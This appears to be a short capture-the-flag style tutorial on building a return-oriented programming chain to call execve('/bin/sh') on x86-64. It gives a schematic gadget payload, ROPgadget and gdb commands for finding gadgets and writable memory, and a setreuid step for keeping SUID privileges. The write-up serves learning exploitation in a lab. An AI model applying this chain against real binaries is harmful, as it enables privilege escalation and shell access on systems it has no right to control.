Return-Oriented Programming (ROP) is a sophisticated exploitation technique that leverages existing code snippets within a program to construct a sequence of instructions for executing the execve system call. This method allows attackers to gain control over a compromised system's processes, enabling the execution of arbitrary commands with the privileges of the target process.
The idea of the exploit is to use ROPgadget to control the program and execute excve with syscall instruction.
If we check the 64-bit syscall table excve syscall convention :
register | value | info |
---|---|---|
rax | 0x3b | syscall value |
rdi | /bin/sh | cmd |
rsi | 0 | / |
rdx | 0 | / |
payload = padding + pop rdx
+ "/bin/sh" + pop rax
+ wrtiable addrses + mov ptr[rax], rdx
+ pop rax
+ 0x3b + pop rdi
+ writable address + pop rsi
+ 0 + pop rdx
+ 0 + syscall
All code
instruction are a part of a function found with ROPgadget, all pop mean
pop rdx
ret
pop
instruction remove the rop element from the stack and store it in a specified register or memory location.
So each pop load in the register specified, the value write sequentially on the stack.
pop rdx + "/bin/sh" + pop rax + wrtiable addrses + mov ptr[rax], rdx
:
- store /bin/sh in rdx.
- store a writable address (ill show on exploit part how to find it) in rax.
mov ptr[rax], rdx
:[rax]
is similar in c has*rax
. So you store "/bin/sh" where point rax
pop rax + 0x3b + pop rdi + writable address + pop rsi + 0 + pop rdx + 0 + syscall
Find gadget
ROPgadget --binary ./a.out | grep pop $register
Find writable address with gdb:
vmmap # we're looking for -w- permision
# example of correct writable
0x00000000006bf000 0x00000000006c2000 0x00000000000bf000 rw- /challenge/app-systeme/ch34/ch34
# address of writable pointer could be 0x00000000006bf000
Sometime, even if the program is execute throught another (SUID), the bash can leave with ur RUID (real user id).
The idea is to call the setreuid syscall before the execve:
register | value | info |
---|---|---|
rax | 0x71 | syscall value |
ruid | ? | real user id |
euid | ? | effectve user id |
the value of ruid and euid could be found by printing /etc/passwd
cat /etc/paswd | grep user-cracked
user-cracked:x:1234:1234:user-cracked:/home/user-cracked:/bin/bash
Here i should pass to ruid and euid the value 1234 (0x4d2)